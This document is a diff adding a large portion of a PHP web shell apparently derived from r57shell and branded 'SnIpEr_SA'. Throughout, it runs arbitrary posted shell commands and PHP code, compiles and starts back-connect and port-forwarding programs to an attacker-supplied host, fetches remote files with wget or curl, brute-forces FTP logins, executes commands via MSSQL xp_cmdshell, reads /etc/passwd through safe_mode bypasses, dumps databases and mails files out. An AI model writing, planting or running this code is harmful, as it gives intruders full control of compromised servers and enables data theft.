+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); $_POST['cmd'] = ""; }
+ else if(!$users=get_users()) { echo "".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ @ftp_close($connection);
+ }
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table");
+ @mysql_query("CREATE TABLE `temp_SnIpEr_SA_table` ( `file` LONGBLOB NOT NULL )");
+ @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
+ $r = @mysql_query("SELECT * FROM temp_SnIpEr_SA_table");
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table");
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table SnIpEr_SA_temp_table",$db);
+ @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from SnIpEr_SA_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table SnIpEr_SA_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'test5':
+ if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
+ $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
+ $lines = file ('/tmp/mb_send_mail');
+ foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
+ break;
+ case 'test6':
+ $stream = @imap_open('/etc/passwd', "", "");
+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
+ for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
+ @imap_close($stream);
+ break;
+ case 'test7':
+ $stream = @imap_open($_POST['test7_file'], "", "");
+ $str = @imap_body($stream, 1);
+ echo $str;
+ @imap_close($stream);
+ break;
+ case 'test8':
+ if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
+ else echo $lang[$language.'_text119'];
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse'])) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
+ else {
+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
+ else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
+ else { echo "[-] ERROR! Can't write in dump file"; }
+ }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+function div_title($title, $id)
+{
+ return ''.$title.' ';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
+ return '
';
+ }
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
'.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text302'].$arrow." ",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
+echo "".div('id9')."";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo " ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "
";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$unix&&function_exists('mb_send_mail')){
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_list')){
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_body')){
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"".$lang[$language.'_text117'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode&&$unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
+echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo $te.''.$table_end1.$fe;
+if(@function_exists("ftp_connect")){
+echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text87']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text100']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te." ".$fe."
";
+}
+if($unix && @function_exists("ftp_connect")){
+echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
+echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
+echo $te.''.$table_end1.$fe;
+}
+if(@function_exists("mail")){
+echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("mail text here")).' ');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe."
";
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+$select .= ' ';
+echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
